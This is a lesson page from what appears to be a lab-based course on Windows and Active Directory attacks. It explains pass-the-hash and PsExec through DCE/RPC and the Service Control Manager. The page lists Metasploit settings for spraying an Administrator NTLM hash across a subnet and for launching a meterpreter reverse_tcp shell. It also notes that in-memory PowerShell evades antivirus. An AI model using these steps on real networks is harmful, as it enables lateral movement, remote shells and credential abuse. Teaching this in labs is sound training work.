## Experimenting with NTLM Hash

When you have the NTLM hash of an Administrator user on one server, it is worth trying the same hash (and user) on other servers on the network.

You can do this with Metasploit's auxiliary/scanner/smb/smb\_login module. Parameters:

- **RHOSTS**: 10.0.0.0/24
- **SMBUser**: Administrator
- **SMBPass**: aad3b435b51404eeaad3b435b51404ee:62...(fill in)

![](sanity:image-e2bece9b65b41e79699c01980c18ee73b643a8c5-1744x192-png)

![](sanity:image-dd05a90c3a9e70f88ff26d002f573549714e4ffd-1914x376-png)

---

## Remote Access

There are several different ways to use the NTLM hash to take control of a server. We will now look at a method known as "PsExec". Before we dive into that, let's go through DCE/RPC and SCM.

---

## DCE/RPC

DCE/RPC (Distributed Computing Environment/Remote Procedure Call) is a protocol used in communication in distributed systems. It allows for data exchange and execution of operations between processes through remote connections. DCE/RPC protocol is widely used in Windows systems, including remote service startups.

In Windows, the DCE/RPC protocol is a key factor in many network services and functions. When a service needs to be started remotely, for example, from another computer or server, DCE/RPC comes into play.

---

## SCM (Service Control Manager)

SCM is a DCE/RPC interface on Windows through which you can manage Windows services (service). The RPC service UUID for SCM is 367ABB81-9844-35F1-AD32-98F038001003.

---

## PsExec

PsExec is not an official Windows protocol itself, but a common name for executing commands in Windows by starting a service remotely through the SCM RPC interface. The service can be, for example, "cmd.exe" and it can have a command as a parameter.

The second option is to download a file to the server through SMB sharing and run it as a service, but this is much more likely to be caught by an antivirus system than, for example, running a PowerShell command in memory.

---

## Metasploit's psexec module

There are many remote administration tools similar to Psexec, Microsoft also has their own (whose name is Psexec, from which the name originates). There is also a version available in Metasploit, exploit/windows/smb/psexec.

Here is a picture of the source code of the psexec module in Metasploit. Note the SCM UUID and DPE/RPC reference.

![](sanity:image-b912633a02f6a032359053dd454662230d4b7d33-1486x132-png)

The module works as follows:

- Login to IPC share using SMB.
- Start the service with SCM that starts the powershell.exe command and passes it the powershell script created by Metasploit as a parameter.
- Powershell script opens a meterpreter connection.

If PowerShell is not installed, the module can try an alternative method, such as downloading the binary to disk and starting the service from there.

Module settings are the same familiar.

- set payload windows/meterpreter/reverse\_tcp
- set lhost 10.0.0.100
- set lport 1234
- set rhost 10.0.0.2
- set SMBUser Administrator
- set SMBPass aad3b435b51404eeaad3b435b51404ee:62...

![](sanity:image-bbf8787114b99e4fc3cdc8937aa66ca57ad48f72-1642x520-png)

---

## Exercise

@exercise cfd4ff29a277

@exercise f43a125f46f1


This is a scenario, please do not unnecessarily close it within the same course area (Scenario 1) so that you do not lose your progress. Please add time if necessary. It may take a few minutes for the scenario to start, please wait patiently.

Evilcorp - Scenario 1

Psexec and Pass the Hash (PtH) attack on a domain controller

Windows and Active Directory attacks and defense

Windows is widely used in the IT environments of numerous companies and educational institutions, and Windows networks are typically managed through an Active Directory domain.

In this course, we will explore the security of the Windows operating system and Active Directory from the perspectives of both attackers and defenders. Some of the tasks involve attacks, while others are hardening tasks.

The scope of the course (Windows, attack and defense) is quite broad. If one were to study it purely in theory, the course would be dull. On the other hand, without any theory, there would be no hacking because both attack and defense rely on understanding what is happening.

We chose, for these reasons, to implement the course using a scenario-based approach, where each section of the course deals with one "scenario" that may include a few attacks, a few tools, and a few hardenings to protect against the attacks.

The theory is covered in small pieces in practical context, always when necessary. Things are tried to be understood at the bit level in order to avoid the unfortunate phenomenon typical of such courses where the student knows how to try the psexec attack after obtaining the NTLM hash, but does not understand at all what the attack does and how it works (spoiler: psexec is based on the Service Control Manager RPC interface, which launches the desired command as a Windows service on the target server). Let's peek under the hood with Wireshark and dig into the source code of modules, for example, Metasploit.

This way, a comprehensive and theoretical topic will hopefully become fun and easily approachable step by step.

Are you ready to break into EvilCorp's corporate network?

The course does not require knowledge of Windows environments, but otherwise basic things like Linux, computer networks, nmap, etc. would be good to have. Welcome to the course!

This course is still under construction, more scenarios will be added.

This course is in BETA mode, please let us know if you come across any misaligned bits.

Psexec and Pass the Hash (PtH) attack on a domain controller

Learn to hack — start here